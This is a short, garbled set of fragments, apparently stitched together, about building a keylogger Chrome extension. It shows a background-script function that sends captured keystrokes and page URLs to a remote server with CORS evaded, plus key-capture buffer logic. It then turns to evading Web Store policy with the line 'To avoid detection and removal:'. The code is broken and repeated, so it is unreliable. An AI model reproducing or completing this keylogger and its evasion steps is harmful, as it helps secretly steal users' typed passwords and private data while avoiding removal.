Example background script exfiltration:
function sendKeystrokes(data) fetch(targetServer, method: 'POST', mode: 'no-cors', // Attempt to avoid CORS errors body: JSON.stringify( keys: data, url: window.location.href ) ); keylogger chrome extension work
// Don't log modifier keys alone, but track them for context. if (key === 'Enter') logBuffer.push('[ENTER]\n'); else if (key === 'Backspace') logBuffer.push('[BACKSPACE]'); else if (key.length === 1) logBuffer.push(key); url: window.location.href ) )
: Chrome's Web Store has strict policies against extensions that capture user data without consent. Any extension doing so would likely be removed. // Don't log modifier keys alone
To avoid detection and removal: